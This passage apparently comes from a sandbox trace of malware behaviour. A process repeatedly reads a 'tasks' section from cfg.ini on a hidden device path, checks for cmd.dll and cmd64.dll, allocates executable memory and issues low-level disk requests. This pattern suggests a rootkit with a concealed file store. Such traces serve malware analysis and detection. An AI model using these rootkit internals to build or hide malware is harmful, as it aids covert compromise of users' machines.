IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.855] ReleaseMutex (hMutex=0xf0) returned 1 [0120.856] Sleep (dwMilliseconds=0x927c0) [0120.870] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.870] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.871] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.871] KeEnterCriticalRegion () [0120.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.871] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.871] IdePortDispatch () returned 0x103 [0120.871] KeWaitForMutexObject () returned 0x0 [0120.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.871] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.871] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.871] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.871] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.871] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.871] KeLeaveCriticalRegion () [0120.871] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.871] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.871] KeEnterCriticalRegion () [0120.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.871] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.871] KeLeaveCriticalRegion () [0120.871] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.871] KeEnterCriticalRegion () [0120.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.871] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.871] IdePortDispatch () returned 0x103 [0120.871] KeWaitForMutexObject () returned 0x0 [0120.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.872] KeLeaveCriticalRegion () [0120.872] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.872] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.872] KeEnterCriticalRegion () [0120.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003516000 [0120.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.872] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.872] IdePortDispatch () returned 0x103 [0120.872] KeWaitForMutexObject () returned 0x0 [0120.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.872] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.872] IdePortDispatch () returned 0x103 [0120.872] KeWaitForMutexObject () returned 0x0 [0120.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.872] KeLeaveCriticalRegion () [0120.872] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.873] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.873] KeEnterCriticalRegion () [0120.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.873] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.873] KeLeaveCriticalRegion () [0120.873] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.873] KeEnterCriticalRegion () [0120.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.873] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.873] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.873] KeLeaveCriticalRegion () [0120.873] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.873] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.873] KeEnterCriticalRegion () [0120.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.873] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.873] KeLeaveCriticalRegion () [0120.873] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.873] ReleaseMutex (hMutex=0xf0) returned 1 [0120.873] Sleep (dwMilliseconds=0x927c0) [0120.884] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.884] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.887] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.888] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.888] KeEnterCriticalRegion () [0120.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.888] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.888] IdePortDispatch () returned 0x103 [0120.888] KeWaitForMutexObject () returned 0x0 [0120.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.888] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.888] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.888] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.888] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.888] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd500 [0120.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.888] KeLeaveCriticalRegion () [0120.888] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.888] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.888] KeEnterCriticalRegion () [0120.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.888] KeLeaveCriticalRegion () [0120.888] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.888] KeEnterCriticalRegion () [0120.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.888] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.888] IdePortDispatch () returned 0x103 [0120.888] KeWaitForMutexObject () returned 0x0 [0120.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.889] KeLeaveCriticalRegion () [0120.889] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.889] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.889] KeEnterCriticalRegion () [0120.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351b000 [0120.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.889] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.889] IdePortDispatch () returned 0x103 [0120.889] KeWaitForMutexObject () returned 0x0 [0120.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.889] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.889] IdePortDispatch () returned 0x103 [0120.889] KeWaitForMutexObject () returned 0x0 [0120.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.889] KeLeaveCriticalRegion () [0120.889] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.890] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.890] KeEnterCriticalRegion () [0120.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.890] KeLeaveCriticalRegion () [0120.890] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.890] KeEnterCriticalRegion () [0120.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.890] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.890] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.890] KeLeaveCriticalRegion () [0120.890] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.890] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.890] KeEnterCriticalRegion () [0120.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.890] ExFreePoolWithTag (P=0xfffffa8003bbd500, Tag=0x0) [0120.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.890] KeLeaveCriticalRegion () [0120.890] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.890] ReleaseMutex (hMutex=0xf0) returned 1 [0120.890] Sleep (dwMilliseconds=0x927c0) [0120.904] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.904] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.904] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.904] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.904] KeEnterCriticalRegion () [0120.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.904] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.904] IdePortDispatch () returned 0x103 [0120.906] KeWaitForMutexObject () returned 0x0 [0120.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.907] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.907] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.907] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.907] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.907] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0120.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.907] KeLeaveCriticalRegion () [0120.907] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.907] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.907] KeEnterCriticalRegion () [0120.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.907] KeLeaveCriticalRegion () [0120.907] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.907] KeEnterCriticalRegion () [0120.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.907] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.907] IdePortDispatch () returned 0x103 [0120.907] KeWaitForMutexObject () returned 0x0 [0120.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.907] KeLeaveCriticalRegion () [0120.907] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.908] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.908] KeEnterCriticalRegion () [0120.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003520000 [0120.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.908] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.908] IdePortDispatch () returned 0x103 [0120.908] KeWaitForMutexObject () returned 0x0 [0120.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.908] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.908] IdePortDispatch () returned 0x103 [0120.908] KeWaitForMutexObject () returned 0x0 [0120.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.908] KeLeaveCriticalRegion () [0120.908] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.909] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.909] KeEnterCriticalRegion () [0120.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.909] KeLeaveCriticalRegion () [0120.909] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.909] KeEnterCriticalRegion () [0120.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.909] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.909] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.909] KeLeaveCriticalRegion () [0120.909] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.909] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.909] KeEnterCriticalRegion () [0120.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.909] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0120.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.909] KeLeaveCriticalRegion () [0120.909] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.909] ReleaseMutex (hMutex=0xf0) returned 1 [0120.909] Sleep (dwMilliseconds=0x927c0) [0120.923] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.923] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.923] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.924] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.924] KeEnterCriticalRegion () [0120.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.924] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.924] IdePortDispatch () returned 0x103 [0120.924] KeWaitForMutexObject () returned 0x0 [0120.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.924] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.924] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.924] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.924] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.924] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0120.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.924] 